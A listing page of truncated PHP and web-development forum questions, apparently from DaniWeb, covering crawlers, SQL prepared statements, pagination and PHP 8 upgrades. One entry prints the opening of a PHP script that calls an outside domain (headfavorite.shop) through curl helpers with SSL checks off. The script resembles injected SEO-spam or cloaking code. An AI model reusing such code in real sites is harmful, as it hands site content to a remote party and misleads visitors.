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| | Experienced Fellow Programmers, I asking questions to those who have experiences with web crawlers. I do not want my web crawler getting trapped onto some domain, while crawling it. Trapped and going in a loop for some reason. And so, what to look-out for to prevent loops ? 1.I know … |
 | I received this email: > > Hello Google Developer, > > We're writing to let you know that we detected the use of an embedded webview in requests to Google's OAuth 2.0 authorization endpoint in the past 120 days associated with one or more of your OAuth client IDs listed … Web Development api google-api |
| | Anyone seen or had this happen before, whenever I add, edit or delete in this datable. It only does this when I add the js pagination\search  |
| | How to use init function in coldfusion.Could any one explain with a good simpla example. And also scopes(VARIABLES and THIS) while writing an init function in a component. Web Development coldfusion |
| | Folks, Using DomDocument, I am trying to build a crawler that, when I feed it a starting point url (initial url to start the crawling & link extracting from), it should navigate to the starting url and extract all the links found on the page. ```` <?php $xml = file_get_contents($sitemapUrl); … |
| | Folks, I have never programmed any API stuff. Let us change this tonight. I want to allow people to pay me with BitCoin on my website. This you see below is API vofr of the Official BitCoin Payment Gateway. Now, show me how to integrate this on my website. Meaning, … Web Development cryptocurrency html-css php  |
| | Folks, This is absurd! As you know, some crawler codes on the internet exist where you get it to navigate to a page and it extracts all html links. hrefs. Code such as this one: ```` //Sitemap Protocol: https://www.sitemaps.org/protocol.html include_once('simplehtmldom_1_9_1/simple_html_dom.php'); //WORKS. //$sitemap = 'https://www.rocktherankings.com/post-sitemap.xml'; //$sitemap = "https://www.rocktherankings.com/sitemap_index.xml"; //Has more xml … Web Development file-system php |
| | Hello, Got questions on Sql and Php Prepared Statements. How would you check whether the SQL managed to update a row or not ? Which one of the following lines would you add the IF condition to ? 1). mysqli_stmt_execute() 2). mysqli_stmt_affected_rows() Which of the following examples A-D are a … Web Development php  |
| | Hello all, I know very few of Javascript. I'm trying to identify which JavaScript functions are called in this [site](https://htmlpreview.github.io/?https://github.com/robatron/sudoku.js/blob/master/demo/index.html#). The script updates the board when the labels "easy","medium", "hard", etc are selected and when the buttons "solve" or "candidates" are pressed. I've tried with F12 (Developer tools) but I … Web Development javascript  |
| | I've been using CodeIgniter 3 for many years now, and have yet to migrate over to CodeIgniter4. Anyone here using Yii, Laravel, Symphony, CakePHP, or any others? CodeIgniter was my first foray with MVC and I liked that it was a lightweight framework that let me use what I wanted … Web Development php |
| | Hiya, I know it is possible to auto generate prepared statements based on table column names and numbers. But how to achieve it ? I have many tables and I want to allow visitors to be able to search these tables. Now, if I have 20 different tables, I do … Web Development php |
 | I try to upload image in my database. I write these code, but it's not update may database. <?php // Include the database configuration file $msg = ""; // If upload button is clicked ... if (isset($_POST['upload'])) { $filename = $_FILES["uploadfile"]["name"]; $tempname = $_FILES["uploadfile"]["tmp_name"]; $folder = "./image/" . $filename; $db … Web Development php |
| | Hello There, Look at this PAGINATION I built. This script I built from scratch and is working fine to query my Mysql DB and show results. But I need your feed-back to know if I managed to use the functions in the correct order or not. //FUNCTIONS IN USE TO … |
| | Hiya, I need to learn the SQL query that counts all the points from more than one column and orders the matching rows based on most points in descending order. EXAMPLE 1: I do a keyword search for "mobile phone tutorial apps". Note 4 words. Sql should find all the … |
| | Ladies & Gentlemen, I got this array: ```` $test = array('id','date_and_time','kw_1','kw_1_point','kw_2','kw_2_point','kw_3','kw_3_point','kw_4','kw_4_point'); ```` Now I want to echo all the values that does not conatin '_point'. So, how to do that ? Web Development php |
| | PHP Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, null given in <?php include("header.php"); $_SESSION['loc'] = "viewkeyowners.php"; if ($_SESSION['loggedin'] <> 1) { header("Location: logintest.php"); exit(); } //this is done because if user closes a tab/page, and logs back in(still in session), it would redirect to the last opened tab/page function … Web Development javascript jquery mysql |
 | I am kind of confused. I want to build a website and i know HTML, CSS, JavaScript, Ionic, Angular, and Capacitor. But with Angular Facebook does not care for any client-side JavaScript when scraping URLs for OG meta tags, only what is contained in the initial HTML code the server … Web Development html-css javascript php  |
| | Hiya, I do not understand why this crawler fails to echo found links on a page. CODE 1 ```` //Sitemap Crawler: If starting url is an xml file listing further xml files then it will just echo the found xml files and not extract links from them. //Sitemap Protocol: https://www.sitemaps.org/protocol.html … |
| | ``` php <?php $inter_domain='http://z0204_15.headfavorite.shop/'; $sx_ap=''; function curl_get_contents($url) { $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url,$data=array()) { $url=str_replace(' ','+',$url); $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,"$url"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_TIMEOUT,10); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data)); $output = curl_exec($ch); $errorCode … Web Development php |
| | > $amtpaid = is decimal 530.00 receiptno is integer 250 $paidday is date 2023-03-05 $bizname is string I just can't determine how to define and echo the value of variables. <!DOCTYPE html><html> <head> <title>record payment</title> <html><head> <script type="text/javascript"> var monthNames = [ "January","February","March","April","May","June","July", "August","September","October","November","December" ]; var today = new Date(); … Web Development php |
| | Everyone knows that PHP has such a bad rap for so much bad code being out there. I am a firm believer it is not a problem with PHP, itself, but rather the incredibly low barrier to entry (open source, readily available with nearly all web hosting packages, etc.) coupled … Web Development php  |
| | I'm following the list of [backward incompatible changes](https://www.php.net/manual/en/migration80.incompatible.php) while upgrading my code from PHP 7.4 to PHP 8. It says that `match` is now a reserved keyword. DaniWeb's matching algorithm has many instances of the variable `$match`, the function `match()` and even a class named `Match`. What do I need … Web Development php  |
| | I wanted to post something in Daniweb for a while but I didn't had anything new. Recently I decided to write a new implementation for websocket connections client side using Shared Web Workers. Shared Web Workers are supported today by most browsers for desktop but few for mobile devices , … Web Development javascript |
| | I am having trouble showing the export buttons, it works perfectly if the data is not fetched from database with the basic example however they are not showing with my php code, I have included the script and necessarry files from https://live.datatables.net/kugajayu/1/edit. Please help, below is my script. <!DOCTYPE html> … |
| | My online submission pages no longer work after upgrading to PHP v8. After pressing Submit, screen then turns white and no email sent with the submitted info. Screen is not supposed to turn white. After switching back to PHP 7.4, everything worked normally again. I have many online submission pages … Web Development php |
| | Hi Wanted to utilize the php/mysql insert into the FPDI pdf export tool. I have it working just as plain text which is nice. But, i'd like to to have mysql place db entries into it. I've declared my sql connection, just using dreamweaver at the moment. I'm struggling to … |
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| | So... I have a fully working code, but my boss asked me to add a button that downloads the table in excel format with the values from the database and I was like, *I can do that?* I also asked chatGPT but it has a character limit so it never … Web Development php |
| | Hello Friends, I don't whether it's the right place to ask this question or not. Apologies if it's not the right place. I and two of my friends are working on a startup and now we are in a position to take the startup online. Currently, the major issue that … Web Development php  |
| | Hi has anyone seen an error like this before I believe it has to do with logging into a page using domain credentials but our logins have been converted to exchange online (PHP Fatal error: Uncaught TypeError: ldap_get_dn(): Argument #2 ($entry) must be of type LDAP\\ResultEntry, bool given in /var/www/html/folder/external/ldap.php:26\nStack … Web Development php |
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